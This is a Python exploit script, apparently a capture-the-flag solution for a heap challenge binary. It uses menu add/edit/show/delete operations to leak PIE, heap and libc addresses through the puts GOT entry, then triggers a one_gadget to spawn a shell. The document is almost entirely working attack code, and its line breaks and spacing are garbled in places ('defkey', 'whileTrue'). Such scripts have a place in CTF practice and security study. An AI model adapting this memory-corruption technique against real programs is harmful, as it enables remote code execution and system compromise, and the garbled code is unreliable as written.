from esy import * context.log_level="debug" context.terminal=['tmux','splitw','-h','-l','66%']
libc=ELF("./libc.so.6")
# 一些阻碍 pas=b"admin"+b":"+b"x"+p8(0xc2)+b"xxxxxx"+b":Junior:1234" keys=b"a"*7 # gdb.attach(io,''' # b *$rebase(0x1C20) # b *$rebase(0x1ae4) # b *$rebase(0x1C0B) # b *$rebase(0x1952) # ''') # onegadgets ''' 0xef52b onegadgets 0xef4ce onegadgets 0x3F60 puts 0x4080 b *$rebase(0x1D4C) ''' defkey(): io.sendlineafter("Please enter your key:\n",keys)
defadd(name,size,content): io.sendlineafter("Please enter your choice.~~",str(1)) key() io.sendafter("name:(size<16)\n",name) io.sendlineafter("content size:(size<=0x70)\n",str(size)) io.sendafter("content:\n",content)
defdelete(idx,num): io.sendlineafter("Please enter your choice.~~\n",str(2)) key() io.sendlineafter("index:\n",str(idx)) io.sendlineafter("numbers:\n",num)
defshow(idx): io.sendlineafter("Please enter your choice.~~\n",str(3)) key() io.sendlineafter("index:\n",str(idx))
defedit(idx,name): io.sendlineafter("Please enter your choice.~~\n",str(4)) key() io.sendlineafter("index:\n",str(idx)) io.sendlineafter("name:(size<16)\n",name) one=[0xef52b,0xef4ce] name=b"a"*0xf main=0x1CCB menu=0x1DA1
defpwn(): io.sendlineafter("Do you want to play a game with me?\n",pas) add(name,0x68,b'a\n') add(name,0x68,b'b\n') add(name,0x68,b'c\n') add(name,0x68,b'd\n') # leak pie heap payload=name+b"\x00"+b"\xba" edit(0,payload) show(0) io.recvuntil("content: ") heap=u64(io.recv(6).rjust(8,b"\x00")) pie=u64(io.recv(6).ljust(8,b"\x00"))-0x4080 logv("pie",hex(pie)) logv("heap",hex(heap)) delete(1,str(pie+main).encode()) # count & leak libc
puts_got=elf.got["puts"]+pie puts_encode=puts_got ^ 0x787878787878c278 payload=name+b"\x00"+p64(puts_encode) io.sendlineafter("Do you want to play a game with me?\n",pas) edit(2,payload) show(2) io.recvuntil("content: ") puts=u64(io.recv(6).ljust(8,b"\x00")) libc_base=puts-libc.sym["puts"] logv("puts",hex(puts)) logv("libc_base",hex(libc_base)) getshell=libc_base+one[0] delete(1,str(getshell).encode()) whileTrue: try: io,elf=loadfile("./heap","",0) pwn() io.interactive() except: io.close()